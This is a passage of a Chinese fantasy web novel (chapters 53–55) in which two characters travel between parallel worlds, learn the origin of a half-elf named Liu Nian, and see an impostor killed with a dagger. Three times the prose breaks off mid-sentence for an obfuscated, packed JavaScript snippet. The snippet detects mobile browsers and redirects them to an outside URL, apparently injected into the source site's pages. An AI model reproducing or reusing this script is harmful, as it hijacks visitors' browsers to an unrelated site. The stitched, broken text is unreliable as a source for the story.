刘念说:“这里是她构建出的空间,可以躲过世界的视线,墨盒不受原世界规则监控,便能快熟填满。她离开后这里很快就会崩塌,我们换个地方说吧。” 她将手抬高在身前往下一划,空气中被劈出一条漆黑的缝隙,黑雾从缝隙中渗出、将缝隙扩大。 刘念走入漆黑的空间裂缝中,转身等着伊冯。 伊冯把地上没有随枝干一同枯萎、仍饱满多汁的果实摘下,用衣服下摆兜住,再走入刘念打开的缝隙中。她喜欢这个果子的口感和味道,要是能研究出培育方法就好了。 刘念打开的空间温度很低,恐怖不到十度。这是个漆黑的空间,什么都没有,不见光源,她和刘念却能清晰地看到彼此。 在伊冯提问之前,刘念主动开口解释说:“这里是世界的间隙。” 她展开手心,黑雾从中升起,在这黑色的空间中那黑雾居然仍显出更甚一筹的暗淡,看得出黑雾变化的边界。 黑雾在刘念掌心变化为一株树,枝头长出果实,挂满枝叉。 刘念说:“我们常将包容所有世界的空间比喻为‘果园’,一个世界,就是这树上的一颗果实。同一株树上长出的果实,在高度相似的基础上,会有些微不同——也就是所谓的平行世界。你的穿越便是通过这些相连的枝叉往返两颗果实之间。我们现在所在的位置,相当于世界的果皮中。” 她又抬起另一只手,食指轻摇,装在伊冯裤子口袋里的“时间轴”飞出,悬在二人之间。 刘念说:“你只要建立这样的想象,就能使用它移动了。” 伊冯看着被刘念控制的道具:“为什么你能控制它?” “将意识分出一股就能……”刘念解说到一半突然反应过来伊冯的重点,“这本来就是我的东西。” 伊冯盯着浮空的时间轴,“分离意识”?这事她困在内网时做过,但当时的做法是直接从“身体”上分离出一部分,现在要将意识从体内抽出一股——要从哪里抽出来? 虽然一般来说,会认为意识存放在大脑,但她的身体也不是人类范畴内的结构,之前都被自己重新塑造一遍了,变化身体时也是随心变化,再加上刚听到的“源”的故事,她的身体和“意识”的构成会有很大差别吗? 伊冯抬起右手小指,小指像泥塑般拉长、末端逐渐透明隐入漆黑的空间中,卷上轴体。她牵引着意识将道具往自己的方向扯动,刘念没和她角力,收回她的意识。 在这个空间里,时间轴的外观更是灿烂得仿佛在发光,两端不显眼的一道银线也在此变得闪耀。 绕着两端一圈的银线在同一面延出一点,是用来确认“时间线”,或者说“坐标”的吧。 伊冯看着被指示线对着的一列码块,问:“后面这几个是今天的日期吧,前几个都是数字零吗?” “是。”对于伊冯这么快破译了码块上的字符,刘念不意外,“过去发生的那些事,都是以这里为起点,所以我们将此视为原点,坐标为零。其它的世界的坐标,皆以此为基础设定。” 伊冯问:“我能带着别人一起穿越吗?” 刘念说:“只要将你的意识覆盖在对方身上、让世界将你们识别为一体,就可以。就像你能穿着衣服带着装备离开一样。” 伊冯问:“在这里,你不受墨盒限制了?” “这里不受许多规则的限制。你可以先把这些果子放这,这里没有时间,它们不会腐坏的。”刘念说:“……在世界看来,这里是我应在的地方,在这里,规则不会排斥我。” 伊冯把怀里的果子放到一边,一直抱着它们确实碍事。而后反问刘念:“应在的地方?” 刘念说:“如果你没有特别想去的地方,可以先用时间轴去我母亲的世界吗?我想看看我原本应降生的那个地方。” 琉的世界不是这里吗? 刘念看到伊冯脸上的疑问,补充道:“我是由两位母亲共同孕育的,琉那时已经被转生为精灵了,人类母亲是别的世界的人。” 伊冯问:“我之前就想问了,精灵是怎么繁衍的,生殖系统肯定和人类差别很大吧?” 刘念说:“真正的精灵是自然的孩子,没有性别,不自行繁育。精灵的世界,我们称为‘精灵纪元’,那里有一棵树——就像大多精灵传说里有的那样,精灵的生命之树,是所有精灵的母亲,新的精灵会从母树诞生。” 伊冯说:“你这位混血,应该不是从树里出来的?” “我的精灵母亲将自己的一部分放入我的人类母亲体内,我的人类母亲以血肉之躯孕育出我。”刘念说到这,本就不快的语速更缓,“我是她们分别前为彼此留下的纪念。” 伊冯用意识拨弄着时间轴上的码块:“坐标和时间?” 刘念说:“坐标‘负六,零’,二零三零年,五月十八。” 伊冯将码块调整到刘念报出的数字上,而后用手握住时间轴,将意识铺开裹住刘念。 她闭上眼,眼皮下的眼球变得漆黑、星河在她体内流转,她在世界的边界看到这颗果实之外的别的世界,连接它们的“枝干”在她的视野中闪闪发亮,像在欢迎她走入那条穿越的通道。 时间轴的光亮在她此时的视觉中拉长成线,顺着通道向外延伸,伊冯将意识沉入时间轴指出的那条线路,只一瞬,她们便到达了目的地。 伊冯把眼球恢复人眼该有的样子,然后睁开眼查看周围。 她们正站在一条林荫道中,道路两旁是密集的老旧楼房,风格倒和刘念报给她的年代相符。还好路上没有车辆行人,她们的穿越应该没吓到人。 这还是她第一次主导穿越,比预想得还容易许多。接下来就该更进一步,控制降落地点了。 伊冯把放在刘念身上的意识收回,时间轴也重新收进口袋。 刘念睁开眼观察四周,而后走到一个有顶棚的长椅边坐下。 这就开始感受世界了? 伊冯也在长椅上坐下,打量着周围,长椅两边有两个印满字的牌子,似乎是类似航班信息的公告牌。 这个世界的温度有些高。 伊冯坐了一会儿,掏出调温器扣在衣领上:难怪路上都没人,这地表温度都要超过四十度了吧? 或许是伊冯在一边因为无聊不停换坐姿的行为干扰了刘念沉思,她终于开口说话。 刘念说:“她是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742870|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这天晚上死的。” 伊冯:“嗯?你说谁?……你母亲?” 刘念说:“她因为天热胃口不好,晚上想去一家老甜水店喝甜水。她在这个公交车站等车的时候,后面那栋居民楼发生了煤气爆炸事故,很多杂物飞出,周围的树也受波及燃烧。” 伊冯问:“这些,也是你‘看到’的?你不止能看到未来?” 刘念点头。 她刻意藏起表情的时候,根本看不出现在是什么情绪。 伊冯扭头往后方据说当晚会爆炸的那栋楼看,问:“我们的行为会影响未来吗?” 刘念说:“已长成的果实不会重新再生长一次,只是会生出新的另一颗果实罢了。” 伊冯转回头,不知道该说什么。她应该说些安慰人的话吗,还是直接带刘念离开?她可不想待在这看着一个孕妇是怎么死的。 嗯? 伊冯突然意识到不对:“你说这里是你‘原本应降生的世界’?” 刘念点头。 墨盒在她说她母亲今晚会死后才少了十分之一的墨,用不着她这么节省。伊冯不耐烦地催她别卖关子。 于是她听到了一段仿佛童话的故事。 在许多年前,有个精灵去到人类的世界,她伪装成人类在那里生活了一段时间,与一位人类结下了深厚的情谊。 后来,当精灵要离开人类的世界时,她们彼此深知将是永别,人类拜托精灵让她受孕,唯有鲜活的生命能成为她们曾相遇的不朽证明。 于是精灵将自己的一部分放入人类体内,这可以减轻人类孕育分娩的痛苦;用精灵的力量激活人类的卵子,让混血的胚胎成形。 如果顺利,这个混血儿将拥有人类的血肉和精灵的永恒,她会陪伴人类母亲走到生命尽头,而后被精灵母亲召回灵魂,从精灵母树重生。 但事情变得远比她们预想的复杂。在离分娩尚久的某天,人类突然遭遇意外濒死,精灵感应到人类的危机,再度前往人类的世界。人类伤得很重,重得放在任何人身上都唯有一死。人类不甘就此死去,于是她们再次满足了她的愿望。 “她们?”伊冯忍不住插嘴问道。 刘念说:“这个故事其实牵扯了很多人,为了避免叙述混乱,我省略了一些,这其中也有你的母亲。接下来发生的事,都是因为有你母亲的力量才能成立。” 人类被带到了精灵纪元,脱离了人类世界的规则,足以令人类死亡的重伤也能给人类留下一线生机。 利用这一线生机,她们将人类的灵魂与□□分离,让人类以精灵的身体重获新生。 刘念说:“人类的灵魂不被精灵母树接纳,不能直接通过母树获得精灵的身体。所以,她们摘下母树的花叶为她造了重塑身体的温床,让母树将她当作自己孕育的花朵。精灵没有心脏,但有灵蕊,是精灵生命的核心,琉将自己的灵蕊分出一半给她,你的母亲从自己的本源中分出一块构成另一半,让新塑的身体有了生机,可以容纳完整的灵魂。” “所以……你的人类母亲,现在也算是精灵了?”见刘念点头,伊冯接着问,“被抛下的人类□□里,还有未出生的你吧?” 刘念接下来便说到了她自己。 53.未生魂 她们为了用各种措施留下刘念人类母亲的生命,花费了很多时间,那尚未降世的混血儿已胎死腹中。 刘念说:“但精灵旺盛的生命力,让还只是胚胎的我已被孕育出新的灵魂。于是用救回我那位母亲一样的思路,将我的灵魂从死亡的肉身中取出——只是那时的我连灵魂都只有脆弱的雏形,哪怕放入精灵母树也难以作为‘我’降生。那时的我虚弱到承受不住活下来需要的能量,你的母亲便另辟蹊径,要我从死地返生。 “我被放入生与死的边界,那里处于‘果实’之外,不是独立的空间,是无数世界的交界,没有时间,也没有生死,被无数混乱的能量填满。你的母亲陪了我很长的时间,帮我筛选可用的能量填补灵魂,当我的灵魂修补完整,我还是不能离开那里,因为我的灵魂‘死气’太重,没有生物的身体可以承载这样的灵魂。于是,我继续汲取那些能量,直到我能以魂体构筑实体。” 刘念知道伊冯有很多问题,特意停下让她消化。 伊冯揉了揉头,说:“简单来说,我母亲她们已经成熟掌握了影响‘灵魂’的技术。甚至能将别的能量转化补充‘灵魂’干涉生死……类似于我们做人造器官?” 刘念说:“可以这么理解,从人类的技术角度,‘灵魂’是一种电波,对于我们,灵魂是可视可触的物质。精灵和人类的区别,本质只是构成物质不同,所需能量不同,比人类运用能量的手段更多。” 伊冯抓住了刘念的手,把她的袖子推高,翻看揉捏:“你的身体现在全由‘灵魂’变形?我能理解怎么让意识变形,但怎么被肉眼看到?被这么接触不会不舒服吗?我之前采样到的也是你的‘灵魂’?” 刘念由她摆弄,说:“直接暴露自己的魂体是很危险的事,所以我在表面加了点东西隔离。所有‘被看到’的物体本质是折射了光,利用好这点就行。至于你从我身上取走的那些……脱离我的灵魂本体不由我控制的部分,只是单纯的能量,你如果是想研究能修补灵魂的能量,可能还有点用。” 伊冯问:“那我能直接在你身上研究你的灵魂结构吗?” 刘念点头。 居然愿意?伊冯意外而满意地帮刘念把袖子放下来,问:“然后呢?你就从那出来了?” 刘念说:“在生与死的边界,没有时间的概念,没有过去,没有未来,一切都是现在……就是在那里,我看到了无数世界的一切。” 她让伊冯把时间轴给她一下,她看着手里的仪器说:“那么多的世界,那么多的过去未来与记忆,我不总能清楚记得每一点。 “记忆跟灵魂紧密相关,我修补灵魂的同时,我所见所知的一切被保存在我灵魂中。如果将每个世界比喻为河流,会有一滴水承载有关那条河的一切信息,它脱离了河流,与来自其他河流的水聚成雪云,降落在我身上;而我的灵魂是座雪山,我只知我被雪覆满,要知道每粒雪中都有什么,只有拾起那粒雪让它融化,我才知道它之前是什么样的水,来自怎样的河流。 “但是,我的雪山是一座没有山体的空壳,我是由那些雪构成的。我需要尽可能多地看到雪粒中的信息来填补自己。 “在无数的可能性中,我无法确认真实。一开始,我的灵魂数次因为迷失险些溃散,我必须为自己找到基点。我用了个笨办法,录下自己经历的一切,在看过的无数可能性中,记录自己亲身经历的真实。” 刘念转动时间轴,搭了一根手指在顶端,仪器突然发出刘念的声音:“坐标零,与三号第二次接触。三号驾驶带有阿吉斯标志的飞艇,闯入三支佣兵队伍混战现场……” 伊冯很快听出说的是自己,之前已经猜到刘念观察自己很久,这会儿听到证据还是觉得不自在。或许是因为之前已经为这事揍过刘念,这会儿她倒生不出火气。 她没有紧追着问,倒让刘念不适应了。 刘念主动解释说:“因为我不能确定看到的那些未来的先后,你又用过很多不同的外表,为了方便整理我的记忆,我给不同外表的你编了号。” “很多是多少?”伊冯的视线越过刘念,看向她身后反光映出她们的玻璃。 刘念不只是在心中数数,还是犹豫回答,却见伊冯的样貌在变化,金发拉长变深,面部线条变得更缓和,成为一位黑发棕瞳的少年。 这是伊冯见到未来的刘念时变成的样子。 伊冯见刘念表情讶异,问她:“你没见过这张脸吗?” 刘念缓缓摇头,却微微笑起来,用言语再确认一遍答案:“我没见过有这张脸的未来。” 伊冯说:“可是我某次穿越时,用这张脸见过未来的你。” 刘念少见的微笑消隐。她表情变化这么明显,伊冯哪还看不出来她在对什么不满。 伊冯笑:“你希望有一个我们未来不会见面的未来?” 刘念张嘴,却没说出反驳的话就低头沉默。 伊冯倒不放在心上,她从不强求同路人。琉拜托她照顾因为看到未来而踌躇不前的刘念,如果未来她们还在一起行动,对于刘念确实算不上好事。 “我见到的那个未来,你用的是女性的那张脸——你的样子倒是换得少。”伊冯换了话题。 刘念迅速接上话:“还是因为我看到的那些‘可能性’,为了确认自我,‘我’必须是‘刘念’,不稳定的外形也会让我迷失,所以我限定自己最多只能变化两种外形。” 伊冯问:“之前我问你的真实容貌是什么样,你对我摇头。对你来说,你真实的样子,是你灵魂的样子?” 刘念点头。 伊冯摸着肩上的黑色头发,问:“你是怎么决定外貌的?你的两张脸都和琉不像。” 刘念说:“女性的外貌,是模仿我老师的;现在这个……是琉曾用过的,她不会再用了,我就借了这张脸。” 伊冯问:“既然都是假的,为什么你总是用这张?” 刘念说:“这样更方便。” 伊冯问:“为什么这样会更方便?” 刘念说:“最开始,我是为了能在人类社会活动,模仿了老师的样子变化了外貌;但后来,我的老师被通缉,用和她相像的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745706|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子活动太惹眼,我只能再捏造一个男性外表——为了防止认知混乱,变化的形象间差距越大越好。” 伊冯说:“我在别的时空的竹林中见过和这张脸很像的女人。那又是未来吗?” 刘念摇摇头,说:“至少在你的世界、你的时间上,她还没见过你。” 也就是说,刘念的老师现在还在作为原点的那个世界里。看来那段相遇也是属于未来的事了。 伊冯又打量刘念的脸,刘念说这要变化差距大的外形,但她的两张都是黑发黑眼的东方人样子,完全能被看作姐弟。 她慢慢地说:“你知道吗,论坛里有专门讨论你性别的帖子。” 刘念男性的外貌五官秀气,声音中性,穿着总遮挡喉结,全靠有副成年男性的骨架不被误认性别——尽管如此,还有人猜测刘念是在衣服里塞东西伪造男性体型。 伊冯现在知道了刘念确实是伪造了骨架,不仅是骨架,全身都是假的。但在一些分不清东方人样貌的人眼里,刘念这两副外表区别实在不大。 刘念皱眉:“这是我能接受的底线,再多就……太丑了。” 居然是因为审美。 伊冯忍不住大笑,刘念在意这种细枝末节的样子还挺可爱的。 伊冯接着问:“你该不会因为嫌丑,就只变了骨架吧?” 见刘念点头,伊冯的视线往下看了几个地方,有衣物遮挡,就算不全都变化,确实也不好看出来。 刘念发现她在看哪里,很坦然地任她看,说:“如果出现会因为这些暴露的情况,灭口更方便。” 伊冯自认她没有刻意回避这类话题,但她似乎确实没和别人谈及这种事,她问:“你杀过人吗?” 刘念点头。 对方这完全不觉得这个问题有什么遮掩必要的坦然,反而让伊冯问不出更多问题。 她把时间轴从刘念手里拿回来,抬头看穿过叶片间隙明亮得灼人的阳光,她们要一直在这等到晚上吗? 伊冯问:“为什么你不选更早些的时间?” 看自己在母亲腹中时一尸两命的情景,会不会有点变态? 她应该没把心里想的问题说出来,但刘念似乎也对于晚上要看到的场景后知后觉地感到不适,提出离开。 刘念说:“下一个地点,你决定吧。你想去看什么?” 伊冯摩挲着时间轴,问:“你知道洛佑吗?” 刘念的沉默是“是”的另一种表达。 伊冯拨弄着时间轴上的码块:“她也参与了‘开源计划’了,对吧?我想看看她和源的故事,告诉我坐标。” 刘念说:“坐标负二十,七;时间1760年,三月六日。” 伊冯调整好码块,在用意识包住刘念之前向她确认:“要见你母亲一面再走吗?” “还是等她离开生命树,我们再见吧。”刘念握住时间轴另一端。 伊冯把调温器摘下收好,发动时间轴、投入时空通道之中。 在告别被夏日烈阳照耀的世界后,她们进入被浓雾包裹的午夜。 54.血染火 她们站在平原上,浓雾伴着月色飘荡,水气扑在脸上将体温再压低两度。 不同世界的温差也是个麻烦,虽然身体承受得了,但一瞬间的落差足够让人不舒服。 要是能提前获得穿越世界的信息就好了。 理论上应该能做得到吧?伊冯抬头看着旋转在天外的规则,那里面存有这些信息,她在进入之前解读它们,是不是就能知道例如季节温度的信息? 下一次穿越放慢些速度好了,那样也能让她有余裕选择着陆点。 伊冯收起放在刘念身上的意识,要说话却忽然视角一斜,往后退了半步站稳,才觉得头晕目眩。 她闭眼捂住头,视觉却未被切断,世界的规则层层叠叠地在她眼前流转,大量信息不经应允便塞入她的意识中,擅自成为她认知的一部分。 “你消耗太多了。我之前给你的那瓶药还有吗?” 伊冯听到刘念的声音,在身上摸索着找到那个镶满宝石的小瓶,在刘念辅助下倒出几粒吃下。 她还是太不熟悉现在的身体,对于体力消耗都没了概念,居然到了控制不了身体了才发觉不对。 吃下药回复体力,将眼睛转化为人眼结构后,伊冯睁眼看到的只有漆黑。 她分辨了一会儿后,问刘念:“是你的黑雾吗?” 刘念将黑雾收回体内,说:“它们能在短时间内削弱你和世界的联系。效果有限,只能应急。就算那些药能为你补充能量,也要小心,下回耗尽体力,不一定来得及吃药。” 伊冯觉得奇怪:“我上次体力不支,是因为尝试获取世界规则的信息,为什么这次体力不足,反而在给我灌输更多信息?” “疲惫和过劳的区别。刚才你是累到差点无法拟态,被世界识别为同位意识进入同化状态了。”刘念开口时语气微妙地有些后怕:“你的能力和世界相关,失控时也容易引发世界里的灾难,还是多注意些吧。” 这么重要的事一开始就该告诉她吧? 伊冯沉默片刻,问:“我没做什么很消耗体力的事啊。是因为穿越吗?我以前也有在短期内频繁穿越,从没这样。” 刘念说:“你之前的穿越相当于在水面漂流,顺其自然让流水带你移动;自行选择目的地的穿越,相当于逆流而上,对于自身的损耗不能等量齐观。” 伊冯摇晃着还抓在手里的药瓶,里面还剩十几粒,她合上瓶盖把它收好,说:“每换一个世界墨盒都会重新填满,我还想着能靠穿越躲过你那些麻烦的限制呢。” 刘念转移话题:“我记得这个时间,好像是在黎明之前发生了什么事。” 就算没有限制,刘念也有些不想她追问的事。那为什么还要回答她的每一个问题呢,也是受某种限制不能对她隐瞒说谎吗? 伊冯笑笑,把注意力放到她们此行的目标上。 在布满浓雾的深夜中想找人不是易事,但有一抹异色为她们引路。 冲破山林的火光中还有城堡的轮廓,月亮浅淡的银白抵不过那浓郁的颜色,那片火将夜色染红,红得异常,甚至浓郁如血。 刘念说:“她们在那。” 伊冯打开反重力和推进器:“你应该有办法移动吧?” 刘念的脚底升起黑雾,将她托起浮空。 这些黑雾的功能真够多的。 伊冯向火源飞去,刘念被黑雾包着飘在她身侧。 山石建构的堡垒在烈焰烧灼中发出不堪重负的崩裂声,本应守护城堡的卫兵与佣人们争夺着出逃的机会,那些侥幸从火场逃生冲入山林的人却发出尖叫。 在混乱中,那些人并没发觉更大的危险,到处都有不安的喊叫,火光将视线中一切都染红,直到林中的枝叶降下血雨、血泊漫到城堡前的石路上,人们才惊觉那些先一步逃生的人只是更早一步见到死神。 残存的人进退两难,身后的火焰不可能留有生路,前方的山林中也潜藏着不知形状的猎杀者,只能拥挤着祈祷神明怜悯。 不知是谁的哪个举动触发了新的陷阱,“噗”的一声,所有人炸成一团血雾,在城堡前下了场红色的小雨,连烈火都被浇退半步。 没有纷乱的跑动,没有惊慌的喊叫,只有火焰吞噬城堡时墙体碎裂的声音。 火中又传来脚步声,慢而沉重地从墙边倒塌的缺口走出。 那几乎是一具焦尸,毛发和皮肤都在火中燃尽,血肉都被烧黑,不知是怎样的神迹才让这个“尸体”还能走动。“焦尸”怀中抱着一个用布包裹的东西,布包的边缘才刚开始被火舌舔舐。 石路上的血泊阻断了火焰的蔓延,也给了ta信号,“焦尸”停止动作,摔倒在地。倒地的撞击让焦尸断了一边手臂,怀中的布包滚出。露出插在胸前的匕首。 火焰缓慢地沿着布包边缘爬动,终于惊动内部的东西,黑发从中泻出,苍白的手掀开燃烧的布,将它丢回火场。 黑发的少年抬头看着漫天的火光,漆黑的眼瞳中映不出任何情绪。她从血泊中站起,低头看着脚边的焦尸。 她俯身将焦尸身上的匕首拔出,把焦尸断掉的手臂拼上,用匕首在掌心划出伤口,让血浇在焦尸上。 除了少年手心流出的血,地上积蓄的血也如活物般涌动着爬上焦尸,将坏死的黑肉拨开露出白骨,再凝聚生成新鲜的血肉,新的身体层层成型。 夜色已尽,太阳的光辉盖过火光,石路白洁不见血污,地上的灰发男人也睁开了眼睛。 少年问:“你有机会自己逃生,为什么要带上我?” 灰发男人从地上坐起,看着自己崭新的身体,梦游般地说:“没能忤逆公爵囚禁你的命令,是我的罪孽。我想赎罪,就算死,也要让你自由。” “不是你的错,我知道你一直想救我。”少年看着手里的匕首,“你还为我挡下了它,我应该答谢你。我能给你什么?” 男人说:“可以让我追随您吗?” 在少年困惑的目光中,男人继续说着:“公爵是王国的大人物,他死了我却还活着,光是这一点,我在国内就再难有立足之地了。我本是抱着必死之心冲入火中,但您让我活下来,我也不能亵渎您赐予我的再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘念注意着伊冯的表情,那似笑非笑的样子看得她心惊肉跳,这祖宗接下来肯定要折腾出什么事了。 她本设想了许多伊冯会问的问题,提前准备好了答案,却见伊冯直接拿出时间轴。 刘念问:“要去下一个地方了吗?接下来发生的事,不看了吗?” 伊冯只是笑:“不看了,回去吧。” 刘念只能任由伊冯的意识裹住她,眼前时空转化,她们落在一片血红的玫瑰中。 “又是玫瑰,有什么特殊的象征意义吗,这也是她们那些老朋友间的共识?”伊冯抱怨着挡路,拨开玫瑰往外走。 “刚才你接着看下去就知道了……”刘念跟在她身后走,一边辨别着环境,“为什么突然到阿吉斯!” 伊冯居然直接回到了元星上的阿吉斯主宅! 伊冯脚步不停,熟练地绕出后花园:“接下来的故事,还是让亲历者自己告诉我吧。” 55.断罪刃 以诺在等电梯,研究塔近来多了些新人,好奇心旺盛地在没工作的时候去权限范围内的楼层乱逛,导致电梯一直处于忙碌状态。研究塔在如今的年轻人眼中,已不再是不可亵渎只可仰望的科研圣地。 终于在打开的电梯厢内,站着一个低头缩脑、身材矮小的研究员。 以诺认出这也是新来的,不该有这层的权限。 他按停电梯,问:“你为什么到这里?” 电梯厢内的研究员慌乱地解释她没来得及出去,不知道是谁按了高层的按钮。 她瑟缩着抬起头,看清以诺的脸后,突然表情惊喜地说:“您,您是那位阿吉斯对吗?伊冯的父亲?我叫曾禾,伊冯和您提起过我吗?” 在以诺冰冷的视线中,曾禾发着抖几乎哭泣,说:“您肯定不会相信我的话,但我说的都是真的——我不是这个世界的人,某天我睁开眼就在这里,这不是我的身体,这个人和我长得一样,但不是我……肯定是伊冯把我带过来的,就像她出现在我们的世界时一样!她什么都做得到!我一直想再见她,可我不知道怎么找她,但是,但是我没想到再见到她的消息是在讣告里……” 以诺的冷淡未有丝毫融化,说:“你们科室在做什么研究,影响大脑到这种程度可以算是事故,你的科室主任应该上报。” “我!……”她吞下辩解的话语,“我无法接受她去世的事实,我在这里势单力薄,甚至没有资格参加她的葬礼——即使您不相信我的话,能否允许我去伊冯的墓前,最后见她一面?” 以诺已经连通了她所属科室的主任通讯:“你们那有个精神状态不稳定的研究员闯到高层纠缠不休,你最好现在就来把人带走。” 曾禾慌忙躲回电梯里,拼命按动低层的楼层按钮。 以诺解开楼层锁定,放她跑走。如果这样就会让那些应该为此负责的人找不到人,是她们的无能。 研究塔没有固定的上下班时间,每个科室可以根据研究项目的进度自行调整安排。 因为乱跑还得罪了大领导,曾禾被罚替同事完成工作。等到主任终于觉得她反省态度诚恳放她下班,曾禾的黑眼圈又重了两层。 拖着步子走出研究塔,她揉着僵硬的肩膀想:小职员虽然不起眼,但想做什么事也更麻烦,主动出击后“不起眼”也不需要了;“曾禾”如果派不上更多用场,过几天换个更接近上层的身份吧。 造价昂贵的飞车在她前方悬停,车身上是阿吉斯的家徽。 车门打开,她与坐在车内后座的以诺对上视线,对方说:“你不是有很多关于我女儿的事要说?去一个更方便让你畅所欲言的地方吧。” 见曾禾有些迟疑,以诺说:“怎么了?不是很在意她吗?” 曾禾只能硬着头皮把在乎朋友的莽撞笨拙人设演下去。他大庭广众地把她带走,应当不会做什么出格的事。 她疲累的双眼很容易挤出眼泪,感激地边爬上车边感谢以诺愿意相信她。 以诺不为所动地让她坐对面的位置,毫不掩饰傲慢:“我还没相信你。只是不能让你继续散播那些胡言乱语。调查清谣言源头,才能更好地维护我阿吉斯家的声誉。” 曾禾想辩解,以诺闭上眼抬手让她住口:“到地方再说,你可以在路上重新整理你那些荒唐的梦话。” 心中如何咒骂,曾禾也只能装作委屈地闭嘴、拘束地坐着。 老宅变化了很多。 伊冯潜入的过程里,发现这里的气氛和她离开前不一样。巡逻的人员在走动,佣人在清洁家居摆饰,活动的人不少,彼此却少有交谈,维持着刻意的距离。 虽然她对这里的记忆很少,也不熟悉这里的人,但她跑出去那晚也和不少人打了照面,再怎么排班轮休,也不至于一个见过的面孔都没有。 最明显的就是她讨厌的那个老管家不见了,现在穿着管家服的是个年轻人——看着比老管家聪明多了。 不只是人变了。伊冯小心地去掉鞋底沾上的泥:花房的面积扩大了几倍延到中庭,满是软泥,她没防备踩了一脚。 刘念没跟着她,说等她处理好家事再见面,然后立刻打开缝隙躲进去了。 难不成在刘念见过的“可能性”里,接下来会发生什么尴尬的事情? 伊冯正要移动到别的地方,忽然注意到有新动静。 所有侍卫佣人突然都从主宅内离开,退到不可能观察到宅内情况的距离,再被新管家安排着继续工作。 伊冯藏在二楼看着那些离去的人。现在主楼内只有她,刚进屋的以诺,和他身后一位眼熟的女士。 伊冯希望自己看错了,或者她没有那么擅长记忆,否则要如何解释她在另一个世界见过的某人出现在这里?即使存在“掌握钥匙的人可以穿越不同的世界”这种前提条件,曾禾也不该是其中之一。曾禾也是“能力者”,是苏弩小队的通讯员,同样配合伊冯做过不少检测,各项数值既不突出也没有特别差的,她有什么理由在那种世界里装成只是有点一技之长的普通人? 定影在手心中蓄能,伊冯悄无声息地摸回一楼客厅。 以前她就在想,老宅这些没必要的层高和繁复的天花板装饰,太方便藏人了。会客厅的为了向客人展示“底蕴”更是夸张,即使她体型不小,也能轻易找到隐蔽点。 而且,会客厅太空旷,声音能轻易在室内扩散开,下方的两人只用正常音量对话,也能让蹲在上方的伊冯听得一清二楚。 “冥昭系那里发生蓝金爆炸的事后,网上出现了很多流言,”那个似乎是曾禾的女人缩在座椅里发出颤抖的声音,“伊冯的讣告发布后,我看到有人说引爆蓝金的人伪装了长相,和讣告上的人很像……我抱着或许有什么误会、伊冯其实没死的期待,联系了那个人,越是和她核对细节,我越相信对方说的人就是伊冯……” 因为佣人都被支出去,没有人给客人上茶水点心,两人只是干坐着一个说一个听,即使俯视看不清表情,以诺的姿态也是显而易见的轻慢。这可不是重视“脸面”的阿吉斯会客时该有的氛围。 不过就算换成伊冯,也无法对曾禾说的内容保持耐心:她说的那个无私亲切会和她互述衷肠的人是谁啊? 曾禾用手帕擦着眼泪越说越投入:“……我们是最好的朋友,她做出新药总是第一时间告诉我,还会特意给我配营养剂,她是对我最好的人。她也说,在那个陌生的世界里,我们能成为朋友也让她没有那么不安。伊冯和我说过她想念自己的世界,想念她的父亲,后悔过自己的任性或许让父亲伤心——她真的很尊重爱戴您,求您,哪怕只有万分之一的可能,去确认那个佣兵是不是伊冯,好吗?如果,如果真的不是,也该阻止别人用她的样子招摇撞骗!” 伊冯听出一身鸡皮疙瘩,太恶心了,是想借她从以诺那得到什么? 以诺在曾禾说完后,终于开口:“塔里去冥昭采集信息后,已经确认大量蓝金产生的辐射有致幻性,报告公开后已经有亲历者承认自己散播的言论受幻觉影响。说来说去,你能提供的也只是些捕风捉影的言论。” “至于你说你来自另一个世界,更是谎话连篇。”以诺站起来,走到曾禾面前,居高临下地说,“你不是从另一个世界来的,正相反,你是从这个世界过去的,只是没想到遗失了回来的方法,又极幸运地遇到再次打开的通道——这样一来,我们也终于知道你们是怎么藏得毫无痕迹了。” 伊冯突然有了毛骨悚然的危机感,稍纵即逝,但足够她确定那种感觉来自下方二人的位置。以诺站着遮挡住了曾禾,伊冯无法确定是谁做了什么。 “嗬!……啊……” 曾禾发出了怪异的声音,手脚抽搐着越过以诺的遮挡,似乎正以诡异的姿势瘫在椅中。 以诺后退了两步,也让伊冯看到了曾禾现在的样子:她被一把匕首穿透心脏钉在椅背上。 曾禾因为痛苦反弓身子、四肢挣扎,高仰着头颅两眼暴凸;匕首扎穿的地方不见血迹,却似乎已将她的生命斩断,她的挣扎像是关节锈坏的玩偶,每一下都卡顿迟滞,不可能带她逃离死亡。 伊冯认得那把匕首,她在以诺的暗格里见过它;在洛佑和源相遇的那个世界,那把匕首也插在逃出火场的焦尸胸口。 以诺说:“这是你们为了困住她制作出的东西。只是你们低估了她,再如何更新版本,也赶不上她自我演化的速度,很快把这些派不上用场的东西抛之脑后。如今,对于不停更换身体来续命的你们而言,这些过时的产品反倒是最危险的。你有预想到吗,最终会死在你们贪婪的成果下?” 